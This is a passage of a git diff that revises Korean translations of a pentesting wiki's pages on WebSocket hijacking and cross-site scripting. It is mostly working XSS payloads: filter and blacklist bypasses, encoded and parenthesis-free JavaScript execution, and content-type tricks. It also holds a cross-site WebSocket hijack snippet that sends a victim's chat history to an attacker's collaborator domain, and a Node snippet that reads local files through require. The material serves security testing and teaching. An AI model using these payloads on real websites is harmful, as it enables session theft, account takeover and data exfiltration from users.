그런 다음, 예를 들어 **웹소켓** **서버**가 사용자의 대화 **히스토리**를 **전송**하는 경우, "**READY"**라는 메시지가 전송되면, **단순 XSS**가 연결을 설정하고 ( **쿠키**가 피해자 사용자를 인증하기 위해 **자동으로 전송**됨) "**READY**"를 전송하면 대화의 **히스토리**를 **가져올** 수 있습니다.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### Cross Origin + Cookie with a different subdomain
이 블로그 게시물 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서 공격자는 **웹 소켓 통신이 발생하는 도메인의 서브도메인에서 임의의 Javascript를 실행**하는 데 성공했습니다. **서브도메인**이었기 때문에 **쿠키**가 **전송**되었고, **웹소켓이 Origin을 제대로 확인하지 않았기 때문에**, 이를 통해 통신하고 **토큰을 훔치는** 것이 가능했습니다.
이 블로그 게시물 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)에서 공격자는 **웹 소켓 통신이 발생하는 도메인의 서브도메인에서 임의의 Javascript를 실행**하는 데 성공했습니다. **서브도메인**이었기 때문에 **쿠키**가 **전송**되었고, **Websocket이 Origin을 제대로 확인하지 않았기 때문에**, 이를 통해 통신하고 **토큰을 훔치는** 것이 가능했습니다.
### Stealing data from user
@ -136,11 +136,11 @@ sudo python3 -m http.server 80
```
## 레이스 조건
WebSockets에서 레이스 조건도 존재합니다, [이 정보를 확인하여 더 알아보세요](race-condition.md#rc-in-websockets).
WebSockets에서 레이스 조건도 존재합니다, [자세한 정보를 확인하세요](race-condition.md#rc-in-websockets).
## 기타 취약점
Web Sockets는 **서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘**으로, 서버와 클라이언트가 정보를 처리하는 방식에 따라 **Web Sockets는 XSS, SQLi 또는 웹에서 일반적으로 발생하는 취약점을 웹소켓의 사용자 입력을 사용하여 악용하는 데 사용될 수 있습니다.**
Web Sockets는 **서버 측과 클라이언트 측에 데이터를 전송하는 메커니즘**으로, 서버와 클라이언트가 정보를 처리하는 방식에 따라 **Web Sockets는 XSS, SQLi 또는 웹에서 일반적으로 발생하는 다른 취약점을 웹소켓의 사용자 입력을 사용하여 악용하는 데 사용될 수 있습니다.**
## **WebSocket 스머글링**

View File

@ -2,7 +2,7 @@
## 방법론
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되고 있는지 확인합니다.
1. **당신이 제어하는 모든 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되고 있는지 확인합니다.
2. **반영/사용되는 맥락**을 찾습니다.
3. **반영된 경우**
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
@ -11,7 +11,7 @@
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
3. 보호를 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트리스 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
2. **HTML 태그 내부**에서:
1. 원시 HTML 맥락으로 나갈 수 있습니까?
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
@ -54,10 +54,10 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
1. **속성과 태그에서 이스케이프** (그럼 원시 HTML에 있게 됩니다)하고 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 종류의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
```html
@ -67,10 +67,10 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
```
### Inside JavaScript code
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 안에 반영됩니다:
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다:
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다):
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -83,8 +83,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하여 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\
**자세한 내용은 다음 페이지를 확인하세요:**
Javascript Hoisting은 **함수, 변수 또는 클래스를 사용한 후에 선언할 수 있는 기회를 참조하며, 이는 선언되지 않은 변수나 함수를 사용하는 XSS 시나리오를 악용할 수 있습니다.**\
**자세한 정보는 다음 페이지를 확인하세요:**
{{#ref}}
js-hoisting.md
@ -94,7 +94,7 @@ js-hoisting.md
여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다.
사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다:
사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**입니다 (예: 'Vulnerable'로 변경) 그리고 콘솔에서 다음과 같은 오류를 확인하는 것입니다:
![](<../../images/image (711).png>)
@ -104,7 +104,7 @@ js-hoisting.md
![](<../../images/image (747).png>)
를 위한 몇 가지 유용한 함수:
와 관련된 유용한 함수들:
```
firstElementChild
lastElementChild
@ -130,9 +130,9 @@ some-same-origin-method-execution.md
dom-xss.md
{{#endref}}
### **Universal XSS**
### **유니버설 XSS**
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 등의 악용이 가능합니다.\
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다.\
몇 가지 **예시**:
{{#ref}}
@ -147,10 +147,10 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## 원시 HTML 내 주입
## 원시 HTML 내에서 주입
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다.**_
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
@ -166,7 +166,7 @@ alert(1)
### 태그/이벤트 브루트 포스
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭하세요. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따르세요).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 가서 _**태그를 클립보드에 복사**_를 클릭합니다. 그런 다음, Burp intruder를 사용하여 모든 태그를 전송하고 WAF에서 악성으로 발견되지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 브루트 포스**할 수 있습니다(같은 웹 페이지에서 _**이벤트를 클립보드에 복사**_를 클릭하고 이전과 같은 절차를 따릅니다).
### 사용자 정의 태그
@ -228,7 +228,7 @@ onerror=alert`1`
```
### 길이 우회 (작은 XSS)
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
@ -247,10 +247,10 @@ onerror=alert`1`
## HTML 태그 내부에 주입하기
### 태그 내부/속성 값에서 이스케이프하기
### 태그 내부/속성 값에서 탈출하기
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 태그에서 **이스케이프**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
태그에서 **이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 **태그에서 탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -265,16 +265,16 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Within the attribute
### 속성 내에서
Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값을 제어할 수 있는지 또는 일부만 제어할 수 있는지**에 따라 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Note that **any kind of HTML encode is valid**:
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
**이 프로토콜을 주입할 수 있는 장소**
**일반적으로** `javascript:` 프로토콜은 **`href`** 속성을 허용하는 모든 태그와 **대부분의** **`src`** 속성을 허용하는 태그에서 사용할 수 있습니다 (단, `<img>`는 제외).
```markup
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
@ -373,11 +373,11 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### 리버스 탭
### 리버스 탭
```javascript
<a target="_blank" rel="opener"
```
임의의 **`<a href=`** 태그에 **`target="_blank" and rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하세요**:
임의의 **`<a href=`** 태그에 **`target="_blank"` 및 `rel="opener"`** 속성이 포함된 URL을 주입할 수 있는 경우, 이 동작을 악용하기 위해 **다음 페이지를 확인하십시오**:
{{#ref}}
../reverse-tab-nabbing.md
@ -385,8 +385,8 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
### 이벤트 핸들러 우회
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻기 위해 이 페이지를 확인하세요 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우, 다음 우회를 시도해 볼 수 있습니다:
먼저 유용한 **"on" 이벤트 핸들러**에 대한 정보를 얻으려면 이 페이지를 확인하십시오 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
이벤트 핸들러 생성을 방지하는 블랙리스트가 있는 경우 다음 우회를 시도할 수 있습니다:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -423,14 +423,14 @@ onbeforetoggle="alert(2)" />
<div popover id="newsletter">Newsletter popup</div>
```
다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
```markup
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS 페이로드는 다음과 같을 것입니다: `" accesskey="x" onclick="alert(1)" x="`**
### 블랙리스트 우회
이 섹션에서는 다양한 인코딩을 사용하는 가지 트릭이 이미 공개되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:**
이 섹션에서는 다양한 인코딩을 사용하는 여러 가지 트릭이 이미 공개되었습니다. **다시 돌아가서 다음을 배울 수 있는 곳을 확인하세요:**
- **HTML 인코딩 (HTML 태그)**
- **유니코드 인코딩 (유효한 JS 코드일 수 있음):** `\u0061lert(1)`
@ -468,19 +468,19 @@ onbeforetoggle="alert(2)" />
## JavaScript 코드 내 주입
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영**되거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 용하는 속성 사이에 있을 것입니다.
이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영될** 것이거나 `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 용하는 속성 사이에 있을 것입니다.
### \<script> 태그 이스케이프
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입된 경우, `<script>` 태그를 쉽게 **이스케이프**할 수 있습니다:
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내에 삽입되면, **`<script>`** 태그를 닫아 쉽게 이스케이프할 수 있습니다:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에 수행됩니다.
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에 수행됩니다.
### JS 코드 내부
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. **JS 구문을 수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -496,15 +496,15 @@ onbeforetoggle="alert(2)" />
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
```javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
```````````````
loop``
```
### 인코딩된 코드 실행
```markup
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**JavaScript 주석 (에서** [**JavaScript 주석**](#javascript-comments) **트릭)**
**자바스크립트 주석 (에서** [**자바스크립트 주석**](#javascript-comments) **트릭)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -599,7 +599,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**괄호 없는 JavaScript**
````javascript
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**임의 함수 (alert) 호출**
````javascript
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
@ -735,7 +735,7 @@ top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
```
## **DOM 취약점**
**공격자가 제어하는 안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\
@ -746,13 +746,13 @@ dom-xss.md
{{#endref}}
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명**을 찾을 수 있습니다.\
또한, 언급된 게시물의 **끝부분에서** [**DOM 클로버링 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾는 것을 잊지 마세요.
또한, **언급된 게시물의 끝에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
### Self-XSS 업그레이드
### 쿠키 XSS
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토 공격을 사용할 수 있습니다:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -760,9 +760,9 @@ dom-xss.md
이 기술의 훌륭한 악용 사례는 [**이 블로그 게시물**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)에서 찾을 수 있습니다.
### 세션을 관리자에게 전송하
### 관리자가 세션을 전송받
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점이 발생할 수 있습니다.
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점이 유발될 수 있습니다.
### 세션 미러링
@ -794,7 +794,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다.
### 특수 조합
```markup
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
@ -825,14 +825,14 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
302 Redirect 응답에서 **헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하는 방법과 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인할 수 있습니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### Only Letters, Numbers and Dots
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면, [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾을 수 있습니다.
### Valid `<script>` Content-Types to XSS
@ -869,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
<script type="???"></script>
```
- **모듈** (기본, 설명할 필요 없음)
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 함께 패키징할 수 있는 기능입니다.
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 함께 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
```html
<script type="webbundle">
{
@ -914,7 +914,7 @@ import { partition } from "lodash"
}
</script>
```
### Web Content-Types to XSS
### 웹 콘텐츠 유형과 XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다:
@ -929,7 +929,7 @@ import { partition } from "lodash"
다른 브라우저에서는 다른 **`Content-Types`**를 사용하여 임의의 JS를 실행할 수 있습니다. 확인: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### xml 콘텐츠 유형
페이지가 text/xml 콘텐츠 유형을 반환하는 경우 네임스페이스를 지정하고 임의의 JS를 실행할 수 있습니다:
```xml
@ -999,7 +999,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
})
```
따라서, 해당 모듈에서 **다른 함수를 호출할 수** 있다면, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
따라서, 해당 모듈에서 **다른 함수를 호출할 수 있다면**, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
